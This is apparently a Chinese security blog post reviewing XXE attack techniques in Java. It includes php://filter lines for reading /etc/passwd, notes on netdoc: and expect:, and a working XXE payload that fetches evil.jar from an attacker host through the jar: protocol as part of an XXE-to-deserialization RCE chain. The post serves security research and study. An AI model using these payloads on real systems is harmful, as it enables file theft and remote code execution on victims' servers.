XXE在Java场景下的一些攻击面

date
Jul 8, 2022
slug
xxe-in-java
status
Published
tags
Java安全
安全研究
summary
最近看到一篇文章内容,想到自己好想忘记了XXE的一些知识点,做一个回顾
type
Post
关于XXE的各种利用方法:
Java场景下XXE的触发流程:Java-XXE-总结 (lmxspace.com)
总结一下这几篇文章里面提到几个注意点:
  • 外部实体是引起XXE攻击的关键点
  • XML元素中CDATA的妙处——防止解析出错
  • 读取文件内容过大时可以在PHP场景下可以使用以下filter处理:
    • 压缩:echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
      解压:echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");
  • jar协议处理文件的流程:
    • (1) 下载 jar/zip 文件到临时文件中
      (2) 提取出我们指定的文件
      (3) 删除临时文件
  • Java 场景下可以使用netdoc:/ 协议能代替 file:/// 进行列目录的操作
  • PHP场景下还有一个expect 协议可以直接触发RCE(需要expect扩展)
 
回顾这个攻击面主要是因为下面这篇文章内容:
利用XXE生成缓存文件—>读取缓存文件内容—>触发反序列化—>RCE
Java场景下利用XXE生成文件根据上面提到的流程需要解决几个点:
  1. 保持文件的持久化
    1. 可以使用这个工具:
      这个工具可以在上传相关文件内容的时候,是可以卡住的,不然相关的tmp文件会在解压之后删除掉
      java  BlockingServer 9090 test.jar
      test.jar 就是生成的恶意文件内容,里面的文件内容,这个内容会在服务器上缓存,然后通过jar协议触发缓存,保存这个文件内容
      <!DOCTYPE doc [ 
         <!ENTITY xxe SYSTEM "jar:http://172.18.193.189:9090/evil.jar!/xxx.class"> 
       ]>
      <doc>&xxe;</doc>
      注意这里的payload最后的内容是压缩包里面的内容,可以存在,也可以不存在,因为触发之后缓存的是jar包的内容,如果是不存在的内容的话会报错,这个报错就是缓存文件的路径,这也给利用提供一个思路
      notion image
       
  1. 需要了解到生成文件的文件名以及所在目录
    1. 一般需要配合一些报错才会触发这个效果,一般Java的报错会回显生成文件的路径,如果不是压缩包里面的内容的话,就会throw出来缓存文件的路径
      notion image
      这个文件名一般是以tmp后缀结尾jar开头
       

© 4me 2021 - 2024